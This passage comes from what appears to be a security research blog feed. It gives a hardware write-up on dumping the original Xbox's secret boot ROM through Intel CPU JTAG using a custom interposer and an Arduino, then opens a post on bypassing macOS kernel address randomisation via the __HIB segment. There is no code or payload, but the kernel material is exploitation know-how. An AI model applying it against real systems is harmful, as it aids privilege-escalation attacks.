      &lt;img src=&quot;/assets/img/xbox_JTAG_mcpx.jpg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;The MCPX is the &quot;Media Communication Processor&quot; (southbridge) which also plays host to the secret ROM&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;Looking back at the race to dump secret ROM, there was some amount of &lt;a href=&quot;https://www.bunniestudios.com/bunnie/proj/anatak/xboxmod.html&quot;&gt;discussion&lt;/a&gt; which weighed trying to use Intel’s CPU JTAG functionality to probe the system and read out this elusive bootloader:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;“The JTAG boundary scan approach was rejected on the grounds that the TRST# pin, used to hold the JTAG chain in reset, was tied active in a manner that was difficult to modify without removing the processor.”&lt;/p&gt;

  &lt;p&gt;– Excerpt from &lt;a href=&quot;https://dspace.mit.edu/handle/1721.1/6694&quot;&gt;Keeping Secrets in Hardware: The Microsoft Xbox (TM) Case Study&lt;/a&gt;, by Andrew Huang, 2002&lt;/p&gt;

&lt;/blockquote&gt;

&lt;p&gt;Microsoft had intentionally tied the &lt;a href=&quot;https://en.wikipedia.org/wiki/JTAG#:~:text=The%20TRST%20pin,chip%20being%20debugged.&quot;&gt;TRST#&lt;/a&gt; pin to ground underneath the Xbox CPU in an effort to disable the Intel JTAG interface and dissuade anyone from poking around.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/xbox_JTAG_CPU_retail.jpg&quot; data-lightbox=&quot;xbox_JTAG_CPU_retail.jpg&quot; data-title=&quot;Original Xbox CPU: 32-bit 733 MHz Intel Pentium III with 128 KB L2 cache as a mobile BGA2 chip package&quot;&gt;
    
      &lt;img src=&quot;/assets/img/xbox_JTAG_CPU_retail.jpg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Original Xbox CPU: 32-bit 733 MHz Intel Pentium III with 128 KB L2 cache as a mobile BGA2 chip package&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;More importantly, blackbox reversing Intel’s private JTAG instructions in order to query memory, registers, or perform other debugger-like actions was considered non-trivial:&lt;/p&gt;

&lt;blockquote&gt;

  &lt;p&gt;“Removal and socketing of the processor was considered to be prohibitively expensive and time consuming; the cost of a BGA socket for the Pentium III is estimated to be in the hundreds to thousands of dollars. In addition, the JTAG boundary scan codes for the Pentium III are largely proprietary and would have to be reverse engineered as well…”&lt;/p&gt;

  &lt;p&gt;– Excerpt from &lt;a href=&quot;https://dspace.mit.edu/handle/1721.1/6694&quot;&gt;Keeping Secrets in Hardware: The Microsoft Xbox (TM) Case Study&lt;/a&gt;, by Andrew Huang, 2002&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;But as the Xbox homebrew ecosystem flourished over the next several years, a &lt;a href=&quot;https://www.youtube.com/watch?v=6fOjGLCctEY&quot;&gt;slew of other methods&lt;/a&gt; were discovered to cheaply break, dump, or escape the chain of trust Microsoft had tried to establish with the secret ROM. There was little incentive pursuing these more challenging hardware attacks, so they were left behind and largely forgotten.&lt;/p&gt;

&lt;h2 id=&quot;intel-x86-jtag&quot;&gt;Intel x86 JTAG&lt;/h2&gt;

&lt;p&gt;While there is little else to be gained from new methods to dump or bypass secret ROM today, the ability to hardware debug the Xbox CPU would still provide unrivaled introspection to further study and preserve the rich history of the platform. Some of the benefits of JTAG debugging the CPU includes:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Debug the system from the very first instruction executed (a.k.a the &lt;a href=&quot;https://en.wikipedia.org/wiki/Reset_vector&quot;&gt;reset vector&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;Non-intrusive debugging without modifying the OS or any software running on the hardware&lt;/li&gt;
  &lt;li&gt;Debugging retail BIOS images and other runtimes without native kernel debugging capabilities&lt;/li&gt;
  &lt;li&gt;If it runs on the CPU, you can debug it – the Xbox Kernel, Linux, a custom RTOS, Windows (etc.)&lt;/li&gt;
  &lt;li&gt;JTAG surpasses &lt;a href=&quot;https://github.com/xemu-project/xemu&quot;&gt;emulators&lt;/a&gt; in fidelity for studying hardware-specific behavior and un-emulated peripherals&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Yet, twenty years later there is zero open-source hardware or software solutions privy to Intel’s private JTAG instructions… which seem odd given how ubiquitous x86 is. The alternative, locating a semi-complete &lt;em&gt;“highly proprietary”&lt;/em&gt; hardware debugger (and its software components) from days past, is almost equally as challenging:&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/xbox_JTAG_CodeTAP_debugger.jpg&quot; data-lightbox=&quot;xbox_JTAG_CodeTAP_debugger.jpg&quot; data-title=&quot;An Applied Microsystems CodeTAP debugger for Intel Pentium II / III, purchased AS IS&quot;&gt;
    
      &lt;img src=&quot;/assets/img/xbox_JTAG_CodeTAP_debugger.jpg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;An Applied Microsystems CodeTAP debugger for Intel Pentium II / III, purchased &quot;AS IS&quot;&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;From my research, the best Pentium III debuggers (maybe even the only ones) of the early 2000s were made by &lt;a href=&quot;https://web.archive.org/web/20020926010023/http://www.arium.com/&quot;&gt;American Arium&lt;/a&gt; and &lt;a href=&quot;https://web.archive.org/web/20020124114635/http://www.amc.com/&quot;&gt;Applied Microsystems&lt;/a&gt;. These ranged from as low as &lt;a href=&quot;https://www.eetimes.com/applied-microsystems-supports-intel-pentium-ii-and-celeron-processors-with-newcodetap-jtag-emulators/&quot;&gt;$9k&lt;/a&gt; to over $40k USD for some of the Arium units. Allegedly, Intel bound these firms by 10-15 year NDAs when developing these solutions.&lt;/p&gt;

&lt;p&gt;The main customer of these debuggers would have primarily been OEMs performing hardware validation or BIOS/firmware development while stabilizing new motherboards. With a pretty narrow market, there’s no more than a few thousand hardware debuggers of this period produced by either company.&lt;/p&gt;

&lt;p&gt;In 2023 these vintage hardware debuggers seldom pop up, and aren’t &lt;a href=&quot;https://www.ebay.com/itm/323775509467&quot;&gt;bought&lt;/a&gt; for much more than $25-75 USD.&lt;/p&gt;

&lt;h2 id=&quot;rolling-your-own-cpu-jtag&quot;&gt;Rolling Your Own CPU JTAG&lt;/h2&gt;

&lt;p&gt;One of the more challenging aspects of tackling JTAG on Xbox is the fact that TRST# was tied to ground under the CPU. While yes, in theory drilling out the connection to release TRST# may allow us to drive the JTAG state machine, I had no clue how the CodeTAP / hardware debugger might respond to TRST# not operating as expected.&lt;/p&gt;

&lt;p&gt;I began reviewing old Intel &lt;a href=&quot;https://www.intel.com/content/dam/support/us/en/documents/processors/mobile/celeron/sb/28365403.pdf&quot;&gt;processor&lt;/a&gt; datasheets, hardware &lt;a href=&quot;https://download.intel.com/design/PentiumII/manuals/24400101.pdf&quot;&gt;developer manuals&lt;/a&gt;, motherboard &lt;a href=&quot;https://web.archive.org/web/20030711134843/http://intel.com/design/intarch/manuals/27333303.pdf&quot;&gt;reference designs&lt;/a&gt;, and platform recommendations of the era to start piecing together a better understanding of how these hardware debuggers are meant to physically interface with the CPU.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/xbox_JTAG_intel_schematic.png&quot; data-lightbox=&quot;xbox_JTAG_intel_schematic.png&quot; data-title=&quot;Intel reference schematic of ITP, from &amp;lt;a href=https://web.archive.org/web/20011004231308/http://www.intel.com/design/intarch/devkits/273313.htm&amp;gt;Intel Pentium III Processor/840 Development Kit Manual&amp;lt;/a&amp;gt;, April 2001&quot;&gt;
    
      &lt;img src=&quot;/assets/img/xbox_JTAG_intel_schematic.png&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Intel reference schematic of ITP, from &lt;a href=&quot;https://web.archive.org/web/20011004231308/http://www.intel.com/design/intarch/devkits/273313.htm&quot;&gt;Intel Pentium III Processor/840 Development Kit Manual&lt;/a&gt;, April 2001&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;As predominantly a software researcher by trade, manipulating the physical integration of an Intel CPU is not something I wanted to cut corners on. In order to remove all hardware ambiguity, I decided it would be best to design a CPU interposer PCB to cleanly breakout the JTAG signals, adapting from Intel’s specifications to rebuild an ITP port.&lt;/p&gt;

&lt;p&gt;A dedicated CPU interposer would allow me to isolate the JTAG signals (and other CPU control signals) while skipping reverse engineering anything else the Xbox motherboard may have been doing to them. This would also enable me to neatly collect the relevant signals into a physical port the debugger normally expected to tap.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/xbox_JTAG_kicad_layers.png&quot; data-lightbox=&quot;xbox_JTAG_kicad_layers.png&quot; data-title=&quot;Designing the 4-layer CPU JTAG breakout interposer in &amp;lt;a href=https://www.kicad.org/&amp;gt;KiCad&amp;lt;/a&amp;gt; 7.0&quot;&gt;
    
      &lt;img src=&quot;/assets/img/xbox_JTAG_kicad_layers.png&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Designing the 4-layer CPU JTAG breakout interposer in &lt;a href=&quot;https://www.kicad.org/&quot;&gt;KiCad&lt;/a&gt; 7.0&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;The large majority of CPU signals simply plunge through the 4-layer CPU interposer PCB 1-for-1. This interposer was originally designed simply as a 2 layer PCB, but was bumped up to 4 layers after some peer-review and negligible cost differential of hobbyist PCB production today.&lt;/p&gt;

&lt;p&gt;The JTAG / CPU control signals of interest are pulled out using an internal routing layer (green), with the second internal layer (hidden above) simply serving as a ground plane. The breakout is a 30 pin SMT &lt;a href=&quot;https://www.te.com/usa-en/products/brands/ampmodu/ampmodusystem50.html?tab=pgp-story&quot;&gt;System 50&lt;/a&gt; connector per Intel specs – the header alone cost $15 USD.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/xbox_JTAG_kicad_render.png&quot; data-lightbox=&quot;xbox_JTAG_kicad_render.png&quot; data-title=&quot;A render of the JTAG breakout interposer PCB from KiCad, prior to physical order&quot;&gt;
    
      &lt;img src=&quot;/assets/img/xbox_JTAG_kicad_render.png&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;A render of the JTAG breakout interposer PCB from KiCad, prior to physical order&lt;/p&gt;
    
&lt;/div&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/xbox_JTAG_CPU_interposers.jpg&quot; data-lightbox=&quot;xbox_JTAG_CPU_interposers.jpg&quot; data-title=&quot;Five JTAG breakout interposers, fresh from JLCPCB&quot;&gt;
    
      &lt;img src=&quot;/assets/img/xbox_JTAG_CPU_interposers.jpg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Five JTAG breakout interposers, fresh from JLCPCB&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;The minimum order of five 4-layer ENIG PCBs from JLCPCB cost $20 USD, and $20 for DHL shipping. While waiting on the JTAG interposer PCBs to arrive, I reballed a loose Xbox CPU or two I had leftover from a &lt;a href=&quot;https://www.reddit.com/r/originalxbox/comments/117h672/i_completed_a_xbox_cpu_upgrade_what_games_do_you/&quot;&gt;separate project&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Eight days after ordering, I had the JTAG breakout CPU interposers in-hand and a board ready for the install attempt.&lt;/p&gt;

&lt;h2 id=&quot;installing-the-jtag-breakout-cpu-interposer&quot;&gt;Installing the JTAG breakout CPU Interposer&lt;/h2&gt;

&lt;p&gt;Even with semi-professional equipment, installing the JTAG breakout interposer is a tedious process that will be unforgiving of errors. The following image series depicts the rough sequence of steps for removing the original CPU and installing the JTAG interposer.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/xbox_JTAG_BGA_removal.jpg&quot; data-lightbox=&quot;xbox_JTAG_BGA_removal.jpg&quot; data-title=&quot;The original Xbox CPU with flux around it to aid in reflow, under a BGA rework station, prior to chip removal&quot;&gt;
    
      &lt;img src=&quot;/assets/img/xbox_JTAG_BGA_removal.jpg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;The original Xbox CPU with flux around it to aid in reflow, under a BGA rework station, prior to chip removal&lt;/p&gt;
    
&lt;/div&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/xbox_JTAG_CPU_pads.jpg&quot; data-lightbox=&quot;xbox_JTAG_CPU_pads.jpg&quot; data-title=&quot;The BGA footprint of the original Xbox CPU after removal from the motherboard and pad cleanup&quot;&gt;
    
      &lt;img src=&quot;/assets/img/xbox_JTAG_CPU_pads.jpg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;The BGA footprint of the original Xbox CPU after removal from the motherboard and pad cleanup&lt;/p&gt;
    
&lt;/div&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/xbox_JTAG_CPU_interposer_reball.jpg&quot; data-lightbox=&quot;xbox_JTAG_CPU_interposer_reball.jpg&quot; data-title=&quot;Bottom of JTAG breakout interposer, sitting in a 3D printed jig to aid with reballing alignment (0.76mm balls, leaded)&quot;&gt;
    
      &lt;img src=&quot;/assets/img/xbox_JTAG_CPU_interposer_reball.jpg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Bottom of JTAG breakout interposer, sitting in a 3D printed jig to aid with reballing alignment (0.76mm balls, leaded)&lt;/p&gt;
    
&lt;/div&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/xbox_JTAG_interposer_alignment.jpg&quot; data-lightbox=&quot;xbox_JTAG_interposer_alignment.jpg&quot; data-title=&quot;A test fit of the JTAG interposer and its expected alignment prior to final install&quot;&gt;
    
      &lt;img src=&quot;/assets/img/xbox_JTAG_interposer_alignment.jpg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;A test fit of the JTAG interposer and its expected alignment prior to final install&lt;/p&gt;
    
&lt;/div&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/xbox_JTAG_BGA_reflow.jpg&quot; data-lightbox=&quot;xbox_JTAG_BGA_reflow.jpg&quot; data-title=&quot;CPU and interposer on a cheap BGA rework station, both about to be soldered during a single reflow profile&quot;&gt;
    
      &lt;img src=&quot;/assets/img/xbox_JTAG_BGA_reflow.jpg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;CPU and interposer on a cheap BGA rework station, both about to be soldered during a single reflow profile&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;The most critical part of the install was nailing the alignment and reflow of not just one, but BOTH ball-grid-arrays for welding over a single rework profile. While I had some kapton to help better ensure alignment of the bottom array (interposer to motherboard), the top ball array (CPU to interposer) was done by eye.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/xbox_JTAG_BGA_sandwich.png&quot; data-lightbox=&quot;xbox_JTAG_BGA_sandwich.png&quot; data-title=&quot;BGA camera of CPU + interposer stackup, after the BGA profile has completed the reflow profile&quot;&gt;
    
      &lt;img src=&quot;/assets/img/xbox_JTAG_BGA_sandwich.png&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;BGA camera of CPU + interposer stackup, after the BGA profile has completed the reflow profile&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;Some “supports” (no-op SMD resistors) were put underneath the header portion of the interposer prior to reflow. While these supports are not visible and do not serve any electrical purpose, they provide some mechanical strength to help prevent stress or cracking of BGA balls when plugging or un-plugging the JTAG ribbon.&lt;/p&gt;

&lt;p&gt;As a prototype, I wasn’t even sure this JTAG interposer (or the install) would be without error so I wasn’t too concerned about ideal construction or longevity for this attempt at a proof-of-concept.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/xbox_JTAG_interposer_attached.jpg&quot; data-lightbox=&quot;xbox_JTAG_interposer_attached.jpg&quot; data-title=&quot;The successfully installed JTAG interposer - the system was able to boot normally at this point&quot;&gt;
    
      &lt;img src=&quot;/assets/img/xbox_JTAG_interposer_attached.jpg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;The successfully installed JTAG interposer - the system was able to boot normally at this point&lt;/p&gt;
    
&lt;/div&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/xbox_JTAG_interposer_final.jpg&quot; data-lightbox=&quot;xbox_JTAG_interposer_final.jpg&quot; data-title=&quot;The fully populated JTAG interposer ready for testing with the CodeTAP hardware debugger&quot;&gt;
    
      &lt;img src=&quot;/assets/img/xbox_JTAG_interposer_final.jpg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;The fully populated JTAG interposer ready for testing with the CodeTAP hardware debugger&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;The interposer is populated by hand after completing the reflow process. I did not trust the 30-pin header to not melt under the heat required to solder the CPU and JTAG interposer. Given the complexity of this install and using an un-vetted design to interpose 150 sensitive CPU signals, things went remarkably smooth.&lt;/p&gt;

&lt;p&gt;With the CPU interposer installed, thankfully the Xbox boots as one would normally expect. But would JTAG work?&lt;/p&gt;

&lt;h2 id=&quot;dumping-secret-rom&quot;&gt;Dumping Secret ROM&lt;/h2&gt;

&lt;p&gt;Testing the JTAG setup for the first time was difficult because I had zero clue what a “normal” attach sequence would look like for both the hardware and software and no documentation. I had acquired the CodeTAP “AS-IS” and struggled to find a Pentium II / III motherboard with an ITP port (usually rare engineering boards) to test it against.&lt;/p&gt;

&lt;p&gt;Plugging the hardware debugger into my JTAG interposer and connecting the software (CAD-UL XDB) to it, the Xbox would “FRAG” (flashing-red-and-green, a general system fault state) when trying to boot.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/xbox_JTAG_debugger_connected.jpg&quot; data-lightbox=&quot;xbox_JTAG_debugger_connected.jpg&quot; data-title=&quot;Plugging the CodeTAP JTAG debugger into the interposer when prepping the board post-install&quot;&gt;
    
      &lt;img src=&quot;/assets/img/xbox_JTAG_debugger_connected.jpg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Plugging the CodeTAP JTAG debugger into the interposer when prepping the board post-install&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;The debugger software kept failing to attach stating &lt;em&gt;“Target RESET asserted”&lt;/em&gt; while the CodeTAP hardware wasn’t even indicating it could sense power from the target (TGTPWR). I had a slight suspicion of what the issue could be, but triple checked my schematics, pinout, and probed across the motherboard to verify that the CPU was indeed being RESET.&lt;/p&gt;

&lt;p&gt;The source of the problem is that System Management Controller (a &lt;a href=&quot;https://en.wikipedia.org/wiki/PIC_microcontrollers&quot;&gt;PIC16&lt;/a&gt; MCU) on the original Xbox expects the CPU to pass a set of system integrity tests within about 200ms of boot or it will reset the entire device chain. I had configured the debugger to resume on system attach, but apparently this was not working, or not the way I expected it to.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/xbox_JTAG_smc_probing.jpg&quot; data-lightbox=&quot;xbox_JTAG_smc_probing.jpg&quot; data-title=&quot;Probing signals off the SMC with a logic analyzer while also injecting messages on I2C&quot;&gt;
    
      &lt;img src=&quot;/assets/img/xbox_JTAG_smc_probing.jpg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Probing signals off the SMC with a logic analyzer while also injecting messages on I2C&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;I put together a small sketch for an &lt;a href=&quot;https://en.wikipedia.org/wiki/Arduino_Uno&quot;&gt;Arduino Uno&lt;/a&gt; and placed it on the &lt;a href=&quot;https://en.wikipedia.org/wiki/I%C2%B2C&quot;&gt;I2C&lt;/a&gt; bus that normally runs between the SMC and MCPX. This way, I could fulfill the SMC’s system integrity challenges in lieu of normal CPU execution.&lt;/p&gt;

&lt;p&gt;All at once, everything had suddenly clicked into place and the JTAG debugger attached – I had glimpsed the CPU reset vector of the Xbox’s original 1.0 secret ROM, in all its glory:&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/xbox_JTAG_debugger_reset.png&quot; data-lightbox=&quot;xbox_JTAG_debugger_reset.png&quot; data-title=&quot;CAD-UL XDB (JTAG debugging software) initial attach, at the Xbox's CPU reset vector&quot;&gt;
    
      &lt;img src=&quot;/assets/img/xbox_JTAG_debugger_reset.png&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;CAD-UL XDB (JTAG debugging software) initial attach, at the Xbox's CPU reset vector&lt;/p&gt;
    
&lt;/div&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/xbox_JTAG_debugger_dump_censored.png&quot; data-lightbox=&quot;xbox_JTAG_debugger_dump_censored.png&quot; data-title=&quot;Navigating to the top 512 bytes of memory, dumping the infamous MCPX secret ROM 1.0 via JTAG&quot;&gt;
    
      &lt;img src=&quot;/assets/img/xbox_JTAG_debugger_dump_censored.png&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Navigating to the top 512 bytes of memory, dumping the infamous MCPX secret ROM 1.0 via JTAG&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;After fighting to get acquainted with the debugger and a few system resets, I was able to navigate the XDB memory view to the top 512 bytes of system memory (around the reset vector) - dumping the complete, original 1.0 secret bootrom, from a retail Xbox motherboard, using JTAG.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Finally&lt;/strong&gt;, one of the oldest theoretical attacks against the system - put to rest.&lt;/p&gt;

&lt;h2 id=&quot;continued-discovery&quot;&gt;Continued Discovery&lt;/h2&gt;

&lt;p&gt;Blending nostalgic curiosities with a fun opportunity for establishing a deeper appreciation of computer hardware was the real purpose of this research. Further, the ability to hardware debug the Xbox CPU opens up several new tangential projects that I find personally interesting towards further research of the platform and general OS internals.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/xbox_JTAG_final_setup.jpg&quot; data-lightbox=&quot;xbox_JTAG_final_setup.jpg&quot; data-title=&quot;The pure chaos of JTAG hacking the Original Xbox, 20 years in the making&quot;&gt;
    
      &lt;img src=&quot;/assets/img/xbox_JTAG_final_setup.jpg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;The pure chaos of JTAG hacking the Original Xbox, 20 years in the making&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;While insufficient, Microsoft made active effort to layer security mechanisms in the Xbox. Having released TRST# via the interposer, satisfied SMC security challenges with an arduino, and dumped secret ROM using JTAG… they hid one last trick to bind an abnormal CPU startup with a forced reset from MCPX a few seconds after boot.&lt;/p&gt;

&lt;p&gt;Identifying the origin of this final reset, its history within the system, and ultimate disablement could be its own separate blogpost, highlighting that perhaps there are a few mysteries within the Xbox still worth contextualizing.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/xbox_JTAG_debugger_running.png&quot; data-lightbox=&quot;xbox_JTAG_debugger_running.png&quot; data-title=&quot;A screenshot of breaking with the JTAG debugger while the system is fully up and running&quot;&gt;
    
      &lt;img src=&quot;/assets/img/xbox_JTAG_debugger_running.png&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;A screenshot of breaking with the JTAG debugger while the system is fully up and running&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;With Intel JTAG on Xbox now fully functioning, there is less uncertainty in refining this work by eliminating the arduino and likely even the CPU interposer. Over the longer term, this Pentium III JTAG setup provides a good basis for studying the private Intel JTAG instructions as a derivative of this work with broader application.&lt;/p&gt;

&lt;p&gt;If you are interested or familiar with bespoke Intel JTAG technologies, please consider contributing (what you can) to the fledgling open knowledgebase being established &lt;a href=&quot;https://github.com/Necrosys/x86-JTAG-Information&quot;&gt;here&lt;/a&gt; on GitHub. This is one of the only modern resources aimed at preserving or documenting x86 JTAG, which proved important in the work described by this post.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;This blogpost revisited an old idea that the original Microsoft Xbox could have been hacked through Intel’s x86 CPU JTAG interface. A custom CPU interposer PCB was created to breakout the JTAG signals to a CodeTAP hardware debugger. The secret Xbox bootrom was successfully dumped via Intel JTAG, with real debug capabilities from the very first instruction of execution - closing the chapter on a 20 year old theory.&lt;/p&gt;

&lt;p&gt;Hardware CPU debugging can offer unique system introspection over more traditional software and OS-based kernel debugging technologies. These types of hardware solutions used to be highly proprietary and very little public information exists for them, making this a challenging but equally rewarding research experience.&lt;/p&gt;</content><author><name>Markus Gaasedelen</name></author><summary type="html">Released in November 2001, the original Xbox was Microsoft’s first venture into the game console industry. With its hardware closely resembling a cheap but versatile PC of the early 2000s, the device came under the immediate scrutiny of technical hobbyists looking to run ‘homebrew’ code and alternative operating systems on it. Over the course of its lifetime, the Xbox was unilaterally hacked through a broad range of both hardware and software attacks. But at 20 years old, this Intel-based Pentium III system holds up as an amazing platform to learn or explore a plethora of security and computer systems engineering topics that are still relevant to this day. As a fun departure from our usual content, this post exploits some nostalgia to tackle a challenge put forth by some of the earliest musings of the original Xbox researchers: “hacking” the original Xbox via Intel’s x86 CPU JTAG. Hardware debugging the original Xbox CPU (Pentium III) using a custom JTAG CPU interposer</summary></entry><entry><title type="html">The LDT, a Perfect Home for All Your Kernel Payloads</title><link href="https://blog.ret2.io/2022/08/17/macos-dblmap-kernel-exploitation/" rel="alternate" type="text/html" title="The LDT, a Perfect Home for All Your Kernel Payloads" /><published>2022-08-17T10:00:00+00:00</published><updated>2022-08-17T10:00:00+00:00</updated><id>https://blog.ret2.io/2022/08/17/macos-dblmap-kernel-exploitation</id><content type="html" xml:base="https://blog.ret2.io/2022/08/17/macos-dblmap-kernel-exploitation/">&lt;p&gt;With the broad adoption of Kernel &lt;a href=&quot;https://en.wikipedia.org/wiki/Address_space_layout_randomization&quot;&gt;Address Space Layout Randomization&lt;/a&gt; (KASLR) by modern systems, obtaining an information leak is a necessary component of most privilege escalation exploits. This post will cover an implementation detail of &lt;a href=&quot;https://en.wikipedia.org/wiki/XNU&quot;&gt;XNU&lt;/a&gt; (the kernel used by Apple’s &lt;a href=&quot;https://en.wikipedia.org/wiki/MacOS&quot;&gt;macOS&lt;/a&gt;) which can eliminate the need for a dedicated information leak vulnerability in many kernel exploits.&lt;/p&gt;

&lt;p&gt;The key lies in the &lt;code class=&quot;highlighter-rouge&quot;&gt;__HIB&lt;/code&gt; segment of the kernel &lt;a href=&quot;https://en.wikipedia.org/wiki/Mach-O&quot;&gt;Mach-O&lt;/a&gt;, containing a subset of functions and data structures for system hibernation and low-level CPU management, which is always mapped at a known address.&lt;/p&gt;

&lt;p&gt;We will first provide a general overview of the &lt;code class=&quot;highlighter-rouge&quot;&gt;__HIB&lt;/code&gt; segment and the various ways that it can be abused. Using our Pwn2Own 2021 &lt;a href=&quot;https://blog.ret2.io/2022/06/29/pwn2own-2021-safari-sandbox-intel-graphics-exploit/&quot;&gt;kernel exploit&lt;/a&gt; as a real-world example, we show how this exploit could be simplified to use the general techniques described here removing the need for its previously tedious leak construction.&lt;/p&gt;

&lt;div style=&quot;padding: 0% 15%&quot;&gt;
&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/dblmap_seg_desc.png&quot; data-lightbox=&quot;dblmap_seg_desc.png&quot; data-title=&quot;Abusing fundamental operating system design can enable immortal exploit primitives&quot;&gt;
    
      &lt;img src=&quot;/assets/img/dblmap_seg_desc.png&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Abusing fundamental operating system design can enable immortal exploit primitives&lt;/p&gt;
    
&lt;/div&gt;

&lt;/div&gt;

&lt;!--more--&gt;

&lt;h2 id=&quot;the-__hib-segment-hibernation-and-kernel-entry&quot;&gt;The __HIB Segment: Hibernation and Kernel Entry&lt;/h2&gt;

&lt;p&gt;The namesake of the &lt;code class=&quot;highlighter-rouge&quot;&gt;__HIB&lt;/code&gt; segment derives from ‘hibernation’, and seemingly its primary purpose is to handle resuming the system from a hibernation image.&lt;/p&gt;

